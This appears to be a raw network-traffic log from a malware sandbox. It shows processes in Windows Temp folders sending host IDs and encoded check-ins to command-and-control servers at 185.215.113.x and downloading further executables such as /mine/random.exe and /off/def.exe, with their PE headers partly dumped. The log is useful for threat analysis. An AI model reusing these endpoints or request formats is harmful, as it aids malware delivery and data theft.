Oct 24, 2024 04:02:36.078713894 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDAAKKEHDHCAAAKFCBAK Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 4b 45 48 44 48 43 41 41 41 4b 46 43 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 37 42 32 36 39 44 32 41 36 45 32 33 37 31 35 34 33 35 31 30 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 4b 45 48 44 48 43 41 41 41 4b 46 43 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 4b 45 48 44 48 43 41 41 41 4b 46 43 42 41 4b 2d 2d 0d 0a Data Ascii: ------GDAAKKEHDHCAAAKFCBAKContent-Disposition: form-data; name="hwid"B97B269D2A6E2371543510------GDAAKKEHDHCAAAKFCBAKContent-Disposition: form-data; name="build"doma------GDAAKKEHDHCAAAKFCBAK--
Oct 24, 2024 04:02:36.373835087 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:02:36 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	50030	185.215.113.43	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:02:35.244189024 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 04:02:36.163467884 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:02:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	50033	34.107.221.82	80	6000	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:02:35.779689074 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 04:02:36.383660078 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 47331 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 04:02:46.389138937 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 24, 2024 04:02:56.576724052 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	50035	185.215.113.43	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:02:37.677623034 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 24, 2024 04:02:38.592164993 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:02:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	50037	185.215.113.43	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:02:40.225240946 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 04:02:41.137901068 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:02:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	50039	185.215.113.16	80	2276	C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:02:41.598393917 CEST	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 04:02:42.511718035 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:02:42 GMT Content-Type: application/octet-stream Content-Length: 1895936 Last-Modified: Thu, 24 Oct 2024 01:49:23 GMT Connection: keep-alive ETag: "6719a7a3-1cee00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 f0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfJ@ K@WkJJ @.rsrc@.idata @ P*@iropgfss1@gmutwtzhJ@.taggant0J"@
Oct 24, 2024 04:02:42.511743069 CEST	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:02:42.511755943 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:02:42.511768103 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:02:42.511781931 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:02:42.511805058 CEST	636	IN	Data Raw: 07 2d 13 8d 36 c9 5f f6 7f 5d 33 cc c6 4a 0f 8a 80 7c 74 51 f8 c1 30 be a3 cd 1d bb c7 82 01 4d 0e c9 30 0a 89 85 20 bb 86 b9 9e 22 0b 03 73 da ef cb e2 21 98 98 b7 22 88 83 83 0d b8 5b 77 aa 23 d7 77 69 ba c9 5e ab ca b8 0f 2a 80 05 19 2a 27 31 Data Ascii: -6_]3J\|tQ0M0 "s!"[w#wi^*'1%#u~sWF=1J]s0*Y,-T&V0}F0TvIy2-U?=9^$4?I3-1\|\|
Oct 24, 2024 04:02:42.511816978 CEST	1236	IN	Data Raw: 9b 58 11 6a 89 dc f9 c1 9b 69 6f ba fb d5 77 29 80 d9 32 84 8b 30 77 a2 02 31 eb c9 07 18 77 2a ba 9c a7 01 78 bd 1e ba 88 ed 21 bb c6 b9 de 22 4b 03 59 7a 7a c9 0a ce 9b d8 0f ea 62 bb a1 b0 f8 49 73 e1 97 5d 1b e2 86 ed 9e bc 0a c7 30 2a 89 f5 Data Ascii: Xjiow)20w1wx!"KYzzbIs]0fcaNxgB3&-1j~,d5"~j"H\|7.xM!*3<Xs250>2-1IXwj+#gsBB
Oct 24, 2024 04:02:42.511826992 CEST	212	IN	Data Raw: 84 71 3f af 5f cd ec ec cc 68 d4 90 eb b8 cd df 4a 1e 95 a5 f2 81 f1 26 ec ed 75 8d 54 49 b1 c5 38 2c fa 91 7a 1b 0f a8 3c 67 fb 93 88 ef c6 d8 31 e3 3a 6b fb 71 fe dc 78 b1 54 23 8c b1 b4 de 44 ab ae 85 90 3f 00 d2 50 24 6d 80 60 8a 97 4f 7f 98 Data Ascii: q?_hJ&uTI8,z<g1:kqxT#D?P$m`O2Fti,l^DZqdroxXqf6\|n8&p9@2vC<SJjp%>j0 jtAu
Oct 24, 2024 04:02:42.511837959 CEST	1236	IN	Data Raw: 26 5a b9 27 87 b9 68 1e f8 41 b6 a1 3f da e1 96 f6 7b d1 f8 ad 3c 97 ea bf 2c 07 46 88 c1 6c 62 3f ca 35 9e fd ba 36 1d ff 8c b6 e6 b5 73 ca bc 88 bd ca a9 cb fb d2 3b ff 71 8f aa 31 72 00 82 fa 5d 53 aa 99 fe 9a ab 7e b2 f6 2a a0 2a 87 a8 eb 38 Data Ascii: &Z'hA?{<,Flb?56s;q1r]S~*86w\|%z}#%{Mfx\4M_'zkV2~QC-n%6Z<1(J;V#I3c%rB`c7``=.PtjcOFU5AKXaJx
Oct 24, 2024 04:02:42.511848927 CEST	212	IN	Data Raw: c8 ff 3b ff 92 1e 5a bb 5b 46 94 9b fe b5 26 ba 2b 1e fd b3 86 c8 6e ab 79 ff 41 82 3d 34 42 df 0f e0 23 0e 65 f2 44 53 3d 91 20 0c b9 d9 3d 37 24 f5 50 cc 15 04 30 42 7e cd 8d 2a 0d ee 87 e2 7d 3c 53 27 d3 71 71 41 00 5b f3 13 29 59 8f a8 9c fa Data Ascii: ;Z[F&+nyA=4B#eDS= =7$P0B~*}<S'qqA[)Y1Py=7=}b~ b3^j}.O~`n6M9R)tb8',x-"\|iy& $Qyjs>Ua3Az($
Oct 24, 2024 04:02:42.517280102 CEST	1236	IN	Data Raw: b6 59 65 ba fc 55 ab 0e c4 a2 4b c2 9f 29 1a 97 0a 0f 0c e0 4c 28 83 a8 7e 70 36 6d 9a fb 45 0d 96 33 2a 23 99 6d 1a 65 62 d4 db cf 0c c6 89 7e aa 3a 57 b3 d9 fb f4 f5 11 40 75 03 e9 03 01 90 ec ce a0 91 c2 41 e4 b1 fa 83 bd f0 6e 25 8d aa db fa Data Ascii: YeUK)L(~p6mE3*#meb~:W@uAn%[\|g4Y"0b4?9J4I;XV5.nH`!XUJ0h>-?~t2Y(<z`z_Ik:a:E
Oct 24, 2024 04:02:47.357043028 CEST	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 04:02:47.639879942 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:02:47 GMT Content-Type: application/octet-stream Content-Length: 1918464 Last-Modified: Thu, 24 Oct 2024 01:49:16 GMT Connection: keep-alive ETag: "6719a79c-1d4600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 90 6c 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 6c 00 00 04 00 00 72 5c 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$l@lr\@P%d% %(@.rsrc %8@.idata %8@ +%:@fzxkvimrQ<@ubuokytul @.taggant0l"$@
Oct 24, 2024 04:02:50.724661112 CEST	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 04:02:51.009917021 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:02:50 GMT Content-Type: application/octet-stream Content-Length: 2742272 Last-Modified: Thu, 24 Oct 2024 01:44:44 GMT Connection: keep-alive ETag: "6719a68c-29d800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2a 00 00 04 00 00 25 5a 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@* `@ %Z`Ui` @ @.rsrc`2@.idata 8@vxijesvo)x):@eoamyyhq )@.taggant@@")@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	50040	185.215.113.43	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:02:42.645895004 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 24, 2024 04:02:43.574271917 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:02:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	50041	185.215.113.43	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:02:45.210727930 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 04:02:46.115757942 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:02:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	50042	185.215.113.43	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:02:47.851375103 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 24, 2024 04:02:48.766644955 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:02:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	50043	185.215.113.37	80	320	C:\Users\user\AppData\Local\Temp\1001093001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:02:47.859525919 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 04:02:48.775872946 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:02:48 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 04:02:48.813751936 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAEBFIIECBGCBGDHCAFC Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 37 42 32 36 39 44 32 41 36 45 32 33 37 31 35 34 33 35 31 30 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 2d 2d 0d 0a Data Ascii: ------BAEBFIIECBGCBGDHCAFCContent-Disposition: form-data; name="hwid"B97B269D2A6E2371543510------BAEBFIIECBGCBGDHCAFCContent-Disposition: form-data; name="build"doma------BAEBFIIECBGCBGDHCAFC--
Oct 24, 2024 04:02:49.105061054 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:02:48 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	50044	185.215.113.43	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:02:50.446396112 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 04:02:51.350841999 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:02:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	50045	185.215.113.43	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:02:53.055856943 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 24, 2024 04:02:53.990919113 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:02:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	50046	185.215.113.43	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:02:55.731739998 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 04:02:56.634708881 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:02:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
